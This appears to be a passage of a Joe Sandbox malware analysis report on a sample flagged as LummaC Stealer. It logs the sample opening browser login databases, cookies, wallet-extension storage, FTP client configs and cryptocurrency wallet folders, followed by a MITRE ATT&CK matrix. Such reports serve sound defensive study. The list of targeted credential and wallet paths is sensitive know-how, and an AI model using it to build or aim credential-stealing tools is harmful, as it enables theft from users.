Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\dmikhsv\file_scaricato.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Directory queried: C:\Users\user\Documents	Jump to behavior

Source: Yara match	File source: 0000000E.00000003.1555290056.0000000001583000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file_scaricato.exe PID: 5228, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file_scaricato.exe PID: 5228, type: MEMORYSTR
Source: Yara match	File source: 14.2.file_scaricato.exe.ba0000.0.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	141 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	11 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 Windows Service	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	LSASS Memory	12 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	13 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Windows Service	4 Obfuscated Files or Information	Security Account Manager	54 System Information Discovery	SMB/Windows Admin Shares	3 Clipboard Data	21 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 PowerShell	Login Hook	11 Process Injection	12 Software Packing	NTDS	561 Security Software Discovery	Distributed Component Object Model	Input Capture	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	1 Timestomp	LSA Secrets	1 Process Discovery	SSH	Keylogging	25 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	451 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	451 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Arly.exe1.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Bitcoin Miner

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
Arly.exe1.exe